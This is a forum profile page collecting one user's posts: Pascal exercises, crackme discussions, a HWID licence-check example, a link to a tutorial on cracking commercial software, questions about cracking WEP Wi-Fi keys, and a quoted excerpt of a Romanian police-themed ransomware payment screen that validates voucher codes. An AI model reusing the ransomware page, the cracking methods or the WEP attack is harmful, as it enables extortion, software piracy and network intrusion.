Jump to content

sulea

Active Members
  • Posts

    323
  • Joined

  • Last visited

  • Days Won

    3

Posts posted by sulea

  1. program ex;
    var i,j,n,m,l:integer;
    a:array[1..100,1..100] of integer;

    procedure simetrie_coloana(x,y,k:integer);
    label finish;
    begin
    for i:=1 to x do
    for j:=1 to k-1 do
    if a[i,j]<>a[i,y-j+1] then begin
    writeln('asimetrica');
    goto finish;
    end;
    writeln('simetrica fata de coloana ',k);
    finish:
    end;

    procedure simetrie_linie(x,y,k:integer);
    label finish;
    begin
    for i:=1 to k-1 do
    for j:=1 to y do
    if a[i,j]<>a[x-i+1,j] then begin
    writeln('asimetrica');
    goto finish;
    end;
    writeln('simetrica fata de linia ',k);
    finish:
    end;




    begin
    readln(n);
    readln(m);
    for i:=1 to n do
    for j:=1 to m do
    readln(a[i,j]);
    if m mod 2 <> 0 then
    simetrie_coloana(n,m, m div 2 + 1)
    else
    simetrie_linie(n,m, n div 2 + 1);
    end.

  2. @sulea

    Ce spui tu e corect, dar nu te ajuta cu nimic. Spinedit-ul are din default un Min si Max value, in cazul nostru 1950 respectiv 2014. Normal ca nu poti sa introduci o data mai mica sau mai mare.

    Sunt doua coloane:

    1. Insignificant(rosu)

    2. Significant(verde)

    Concetrati-va pe al doilea.

    banuiesc ca ti-ai dat seama ca doar am afisat schema, si nu am mai stat sa scriu ca: "se ia un hexeditor, se modifica valoarea maxima din 2014 in 3014, se ruleaza programul patchuit, se observa rezultatul pt 2015 si se face screenshot". :) in caz ca varianta asta nu merge, se urmareste unde acceseaza programul valoarea din dropdown si se studiaza algoritmul(in cazul in care valorile sunt calculate si nu citite dintr-o baza de date pt fiecare an in parte); ori mai este varianta de a se urmari celelalte comparatii cu maximul(am vazut ca ar mai fi vreo 2). asta a fost my best shot la challengeul asta pt ca nu pot rula programul neavand linux. si imi cer scuze daca sunt pe langa subiect :)

  3. urmatorul pasaj este un fragment din memoria alcoolistului nea caisa. puteti dezlega acest mister al forumului?

    ajung acasa din tura a doua, dupa ce am bagat ore suplimentare in folosul comunitatii.. ma schimb si ies sa dau o tura prin oras.. sunt cam obosit..

    intru in club si ma intersectez cu o bagaboanta de la facultatea de matematica.. vad ca nu prea e privita cu ochi buni, desi unu sustine ca ar fi virgina; in vremea de azi nu trebuie sa te increzi in nimeni... aud cum unii se tot cheama prin nu stiu ce unghere.. caut si eu sa vad ce-i acolo, si peste ce credeti ca dau? peste un soi miting.. unii imbracati in rosu, altii in albastru.. nu par sa fie suporterii stelei.. ciudat.. cu atat mai ciudat cu cat atunci cand ma holbez la cei adunati acolo mi se reflecta o lumina puternica in ochi.. ah, sunt doar ochelarii unui partizan.. imediat langa el o capetenie isi tine pledoaria.. ma uit la ceas.. deja am pierdut notiunea timpului.. ma gandesc ca totul a fost un vis si plec la piata sa-mi cumpar niste sosete, tot gandindu-ma la mitting.. saracii pietari, sunt porniti astia de la primarie pe ei.. mi-a luat o vesnicie sa ajung.. imediat dau de o taraba cu niste sosete expuse frumos, la vedere.. imi zic in sinea mea: clar sunt de bumbac... dupa ce isi cere scuze ca magazinul a fost inchis pe perioada concediului, precupetul face referire la un spectacol, ca sa mai atraga clienti.. insa imediat este intrebat ceva de catre un posibil client.

    Ce a fost intrebat?

    raspunsuri pe pm

    detectivi:

    - usr6

    - thetime

    -

    // din toate raspunsurile primite (inclusiv cele pe pm) niciunul nu este corect

    // se pare ca usr6 a gasit raspunsul corect

    // thetime a gasit raspunsul corect;

    indiciu: oras=forum

  4. tinta: Voice Converter - Convert any voice into a completely new and unique character !

    desi este scris in visual basic .net, nu am folosit decompilatori, ci doar olly, un hexeditor si un tool numit CDA

    tutorialul este sub forma de video (.swf), nu am putut sa-l pun pe youtube pt c a e mai mare de 10 min. daca poate cineva sa-l urce pe youtube, ii raman recunoscator

    download tutorial: https://anonfiles.com/file/1f87cb9d6ca0341f61d1a468ff13d08e

    • Upvote 1
  5. Link: PasswordGenerator.exe download - 2shared

    Imagine:

    PasswordGenerator_zps1d10e66c.png

    Nivel: Beginner

    Descriere: Aplicatia genereaza parole pt. userul "RSTFORUMS". Aflati parola pt. userul "_crackme_"

    Restrictii: Fara dezasamblare, reversing, etc...Abtineti-va!

    Hint: Folositi surubelnita

    Parola: Trimiteti prin pm

    abstinenta totala :)

    totusi vrei sa gasim parola pt "_crackme_" coroborat cu ce coordonate scrise cu rosu?

    ps: jur ca ai o obsesie cu underline in parole :))

  6. ma sfatuiam aseara cu user6 despre cum sa abordam crackmeul, i-am spus ca este vorba de un exe intr-un alt exe, un fel de wrapping. i l-am recomandat pt ca se ocupa de malware si crackmeul are potential de malware(manipuleaza exeul cel mic, PE header, sectiuni etc). ma gandeam la un moment dat sa fac dump, dar lui ida ii trebuie script pt asta, asa ca am renuntat.

    si din vorba in vorba.. :o

    daca vrei neaparat iti voi spune metoda folosita, insa prefer sa zic doar ca m-am folosit de o slabiciune de-a ta ;)

    iar ca tool s-a folosit exclusiv ida

  7. a fost o deosebita placere :)

    Untitled.jpg

    http://s9.postimg.org/42gh9en4v/Untitled.jpg

    sau mai simplu"well done young jedi! you have +rep!"

    iar din "universul nedeslusit al delphiului":

    ===== uite alba nu e neagra ==========

    Stack[00000F5C]:0013F256 mov eax, [ebp+arg_8]

    Stack[00000F5C]:0013F259 mov [ebp+var_14], eax

    Stack[00000F5C]:0013F25C mov eax, [ebp+var_14]

    Stack[00000F5C]:0013F25F mov [ebp+var_8], eax

    Stack[00000F5C]:0013F262 mov eax, [ebp+var_8]

    =======================

    ========= hai sa futem bytes aiurea ===============

    Stack[00000F5C]:0013F17A mov [ebp+var_6C], eax

    Stack[00000F5C]:0013F17D cmp [ebp+var_6C], 0

    Stack[00000F5C]:0013F181 jz loc_13F4E2

    Stack[00000F5C]:0013F187 mov eax, [ebp+var_6C]

    Stack[00000F5C]:0013F18A mov dword ptr [eax], offset unk_10007

    Stack[00000F5C]:0013F190 mov eax, [ebp+var_6C]

    ================================

  8. am incercat cu wifislax+goy wep, pt 5000 iv am stat 1 ora si vreo 8 min; nu a gasit rezultatul si mi-a cerut 10000 iv, dar nu a apucat sa le stranga ca nu mai avea spatiu unde sa scrie(?). banuiesc ca nu scrie pe usb(de 2 gb unde aveam wifislax); iar pe laptop am destul spatiu.

    co4ie mai am un calculator conectat, merci de tutoriale, voi incerca pana la urma sa le iau manual.

    incep sa cred ca routerul e problema

  9. pai incerc sa-mi magaresc propriul wifi, la 1 metru de laptop, deci nu cred ca e de la distanta. e oare posibil sa nu imi mearga injectia pachetelor cum trebuie? desi capturez pachete f repede fiind aproape de router, iv merg f greu. acum sunt la al treilea laptop cu care incerc si e acelasi rezultat. vad pe youtube ca se prind aprox 50000 iv in 15 min, eu abia prind 1000

  10. vreau sa aflu parola wifi la un wep

    am ultimul bactrak live cd, si am incercat cu fern si gerix. merge monitor mode, dar cand vine vorba sa captureze IVs gerixul merge f. greu (1000 in 15 min) iar fernul deloc. ceva gresesc, am incercat pe 2 laptopuri de diferite marci, acelasi rezultat. ce rezolvare mi-ati putea da?

  11. in pascal:


    assign(f,'numere.txt');reset(f);
    readln(f); //treci peste stringul '[vector]'
    readln(f,max); //min=max=
    min:=max; // = primul nr din fisier
    a[1]:=min; //il pui in vector[1]
    i:=2; //restul valorilor le vei pune in vector incepand cu poz. 2
    while (not eof(f)) do begin
    readln(f,n);
    if max<n then max:=n
    else if min>n then min:=n;
    a[i]:=n;
    inc(i);
    end;
    writeln(min,' ',max);
    end.

  12. o portiune din virus:


    JScript - window script block
    function $(id) {return document.getElementById(id);}

    function ClickBtn(BtnName)
    {
    var objClick = $(BtnName);
    if(objClick.setActive) objClick.setActive();
    objClick.click();
    }

    function RepeatSymbol(n,symbol)
    {
    var result = "";
    for (var i=0; i<n;i++) result += symbol;
    return result;
    }

    function Validation(paycode, system)
    {
    if(system == "psk") {

    if(paycode.length != 16 || paycode.match("/^\d+$/")) return false;

    if (paycode.charAt(0) != "0") return false;

    for(var j = 0; j <= 9;j++)
    if (paycode.indexOf(RepeatSymbol(5, j)) != -1) return false;

    if(paycode.match("1234567")) return false;

    return true;

    } else if (system == "ukash") {

    if(paycode.length != 19 || paycode.match("/^\d+$/")) return false;

    if(paycode.substr(0,6) != "633718") return false;

    for(var j = 0; j <= 9;j++)
    if (paycode.indexOf(RepeatSymbol(5, j)) != -1) return false;

    if(paycode.match("1234567")) return false;

    return true;

    }

    return false;
    }


    function SetStatus(statustextid)
    {
    var statustext = "";
    switch(statustextid) {
    case 0:
    statustext = "Pentru a debloca computerul, i pentru a evita alte consecine juridice, vi se cere s plteasc o amend de 300 RON";
    break;
    case 1:
    statustext = "Cod facturare incorect";
    $('ukash_number').value="";
    $('psk_number').value="";
    $('DirtyPayCode').value = "";
    alert("Ai introdus un cod de facturare greit. Verificai datele i repetai procesul de");
    break;
    case 2:
    statustext = "Codul de facturare prezentat pentru examinare. În mod normal, este nevoie de 3-4 ore. Poate fi o întârziere de pân la 48 de ore";
    break;
    case 3:
    statustext = "CODUL FACTURARE anulat. Poate c codul de facturare a expirat sau fost transferate ctre pri tere";
    break;
    case 4:
    statustext = "Cod facturare incorect";
    break;
    case 5:
    statustext = "Încearc s se conecteze la server";
    break;
    case 6:
    statustext = "Nu a reuit s se conecteze la server";
    break;
    case 7:
    statustext = "Codul este corect. Sistemul va fi deblocat";
    break;
    default:
    statustext = "Rspunsul eroare de la server";
    break;
    }
    $('Status').innerHTML = statustext;
    }

    function SetPayInfo(payinfo)
    {
    var infoArr = payinfo.split("_");
    if(infoArr.length == 3)
    {
    if(infoArr[2] == "psk") {

    $('psk_number').value = infoArr[0];
    ClickBtn('Button_PSK');

    } else if (infoArr[2] == "ukash") {

    $('ukash_number').value = infoArr[0];
    ClickBtn('Button_UKASH');

    }
    }
    }

    function SetPersonalInfo(info)
    {
    var infoArr = info.split("_");

    for(i=0; i < infoArr.length;i++)
    {
    if(!infoArr[i].length) continue;

    switch(i)
    {
    case 0:
    var ip_collection = document.getElementsByName('personal_ip');
    for(k=0; k < ip_collection.length; k++)
    ip_collection[k].innerHTML = infoArr[i];
    break;

    case 1:
    $("personal_isp").innerHTML = infoArr[i];
    break;
    case 2:
    $("personal_city").innerHTML = infoArr[i];
    break;
    case 3:
    $("personal_city").innerHTML += "/"+infoArr[i];
    break;
    }
    }
    }


    function EnterPayCode(paycode, payamount, paysystem) {
    $('DirtyPayCode').value = "";

    if(paycode.length == 0)
    {SetStatus(0); return false;}

    if(!Validation(paycode, paysystem))
    {SetStatus(1); return false;}

    $('DirtyPayCode').value = paycode+"_"+payamount+"_"+paysystem;

    SetStatus(5);
    return true;
    }

    function VirtualKeyboard(inputid, key)
    {
    $(inputid).value+=key;
    }


    // this functions uses only in landing
    function isEmpty(str)
    {
    return (!str || 0 === str.length);
    }


    if (!Date.prototype.getFullYear) {
    Date.prototype.getFullYear = function() { var yy=this.getYear(); return (yy<1900?yy+1900:yy); } ;
    }

    function SetCurrentDateTime()
    {
    function pad(n) {return n<10 ? '0'+n : n}
    var monthNames = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];
    var now = new Date();
    now.setMinutes(now.getMinutes()-8);
    date = //pad(now.getDate())+'/'
    ""
    + pad(monthNames[now.getMonth()])
    +'/'+ pad(now.getFullYear())
    //+' '+ pad(now.getHours())
    //+':'+ pad(now.getMinutes())
    //+':'+ pad(now.getSeconds());
    //+' '+ now.getTimezoneOffset();

    var date_collection = document.getElementsByName('date');
    for(k=0; k < date_collection.length; k++)
    date_collection[k].innerHTML = date;
    }

  13. program exemplu;

    {$mode objfpc}
    {$GOTO ON}

    uses windows, crt, sysutils;


    var nume_partitie:string;
    serial,parola:DWORD;
    f:text;


    procedure main_menu;
    begin
    writeln('asta e programul actual. programul e inregistrat.');
    readln;
    end;

    procedure screen_cere_parola;
    begin
    GetVolumeInformation(nil,@nume_partitie,20,@serial,nil,nil,nil,0);
    writeln('cod utilizator:',serial);
    write('parola:');
    try
    readln(parola);
    except;
    end;
    assign(f,'reg.txt');
    rewrite(f);
    writeln(f,parola);
    close(f);
    writeln('parogramul trebuie restartat pt a fi activat. apasati [ENTER]');
    readln;
    end;


    function hash:DWORD; //functia care calculeaza hashul din HWID
    begin
    GetVolumeInformation(nil,@nume_partitie,20,@serial,nil,nil,nil,0);
    hash:=serial+(serial mod 10);
    end;

    procedure inceput; //programul incepe cu procedura de verificare a parolei
    label cerem_parola;
    begin
    if not(FileExists('reg.txt')) then goto cerem_parola;
    assign(f,'reg.txt');
    reset(f);
    try
    readln(f,parola);
    except;
    end;
    close(f);
    if parola=hash then main_menu
    else
    cerem_parola:
    screen_cere_parola;
    end;

    begin
    clrscr;
    inceput;
    end.

    am folosit apiul getvolumeinformation pt exemplu scurt. nu este hwid, ci un serial pe care windowsul il da oricarei partitii formatate.

    hasul format pe baza hwid(hash care trebuie sa corespunda cu parola introdusa de utilizator) este hwid+ultima sa cifra

    e scris pt free pascal, asa ca poti adapta f usor la ce-ti trebuie tie

    *ca o paranteza: daca vrei intr-adevar sa poti lua cat de cat firul celui care a crakuit programul, e mai simplu in a-l compila diferit pt fiecare user in parte. cand apare o versiune piratata, vei sti de la cine a iesit, pt ca compilarea e unica(nu e nimic nou, e mai mult de munca, dar e mai sigur decat hwid)

×
×
  • Create New...